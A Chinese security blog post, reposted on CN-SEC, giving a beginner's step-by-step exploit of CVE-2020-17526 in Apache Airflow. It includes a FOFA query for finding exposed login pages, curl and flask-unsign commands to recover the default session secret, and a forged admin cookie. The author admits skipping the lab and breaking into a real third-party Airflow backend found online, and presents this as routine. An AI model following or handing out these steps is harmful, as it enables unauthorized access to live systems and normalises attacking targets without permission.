实战未授权访问CVE-2020-17526

admin 2022年4月22日00:14:14安全文章评论54 views1371字阅读4分34秒阅读模式

网上这类文章较少我这里参考资源也不多,本片文章偏向新手一下,所以废话会有一点,见谅。

1. FOFA指纹:

title=="Airflow - Login" && country="CN"

受影响的版本:

Apache Airflow Web < 1.10.14


正文:

这次的实验因为实验环境的问题,迫不得已选择直接拿实战开枪了,同样是vulhub的靶场,大家可以先用靶场开战,我是因为不知明原因启动不起来,靶场的启动目录是/vulhub-master/airflow/CVE-2020-17526


启动命令就不说了,不会的可以上官网看

然后我这里是利用了fofa来查询了一下,网上我看了一下发现,有关这个漏洞的复现很少,基本上搜了下百度只有一两个文章还都是火绒这些大厂写的,我这里通过fofa搜索时也是发现,这个2020年的漏洞真的很多。


废话不多说,先来介绍一下

Apache Airflow 是一个开源的分布式任务调度框架。虽然默认情况下不需要身份验证,但管理员可以指定webserver.authenticate=True启用它。

1.10.13 之前的版本中,Apache Airflow 使用默认会话密钥,这会导致在启用身份验证时冒充任意用户。

这里我们不用知道太详细,基本就是一个未授权访问的问题,先找一个目标

实战未授权访问CVE-2020-17526


马赛克较多哈,懂得都懂,我们随便选择一个,大概后台页面为下面这个样子我们就可以尝试了

实战未授权访问CVE-2020-17526

我简单看了一下,第一页就好多,证明这个漏洞不怎么受重视,我们直接打开kali来干一波

首先我们需要安装一个软件

pip3 install flask-unsign[wordlist]pip3 install flask-unsign


后面我们会用到,用于破解会话密钥,然后我们先提取一波cookie

curl -v http://xxxxx:8080/admin/airflow/login

这里我就用xxx代替了,然后我们会获取到一个cookie

实战未授权访问CVE-2020-17526

我们将cookie复制出来

eyJjc3xxxxxxxVuIjoiY2IzZDVxxxxxxxxNkNjQzNTRjYmY0NWE1YmM4MDNiOWRiMjk5NyJ9.YmFe8Q.sA3ScT329UBJdcAMz5YjGHcUHlQ


中间我替换了一些字符了,然后我们用刚刚安装的软件去解密会话

flask-unsign -u -c [session from Cookie]

实战未授权访问CVE-2020-17526

这个地方就是解密之后的会话密钥,同样复制下来,我这里就不复制了

随后我们用得到的会话密钥生成一个cookie

flask-unsign -s --secret "你的会话密钥" -c "{'_fresh': True, '_id': '<id>', 'csrf_token': '<csrf>', 'user_id': '1'}"


这里意思大致就是获取user1 的用户的cookie

实战未授权访问CVE-2020-17526

最后一步就是带入进去这个cookie,然后刷新页面

实战未授权访问CVE-2020-17526

我们成功进入了后台,cookie插入在我下面的箭头位置,这里我用的插件名字是editthiscookie,谷歌的一个插件,大家直接使用应用中的存储中的cookie也可以

实战未授权访问CVE-2020-17526

简简单单的一次漏洞复现,因为不是靶场,所以后期的一些提权就不需要了,直接提交平台了。如果新手还有哪里看不懂,可以留言提意见,下次会修改。

原文始发于微信公众号(白安全组):实战未授权访问CVE-2020-17526

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月22日00:14:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  实战未授权访问CVE-2020-17526 http://cn-sec.com/archives/933173.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: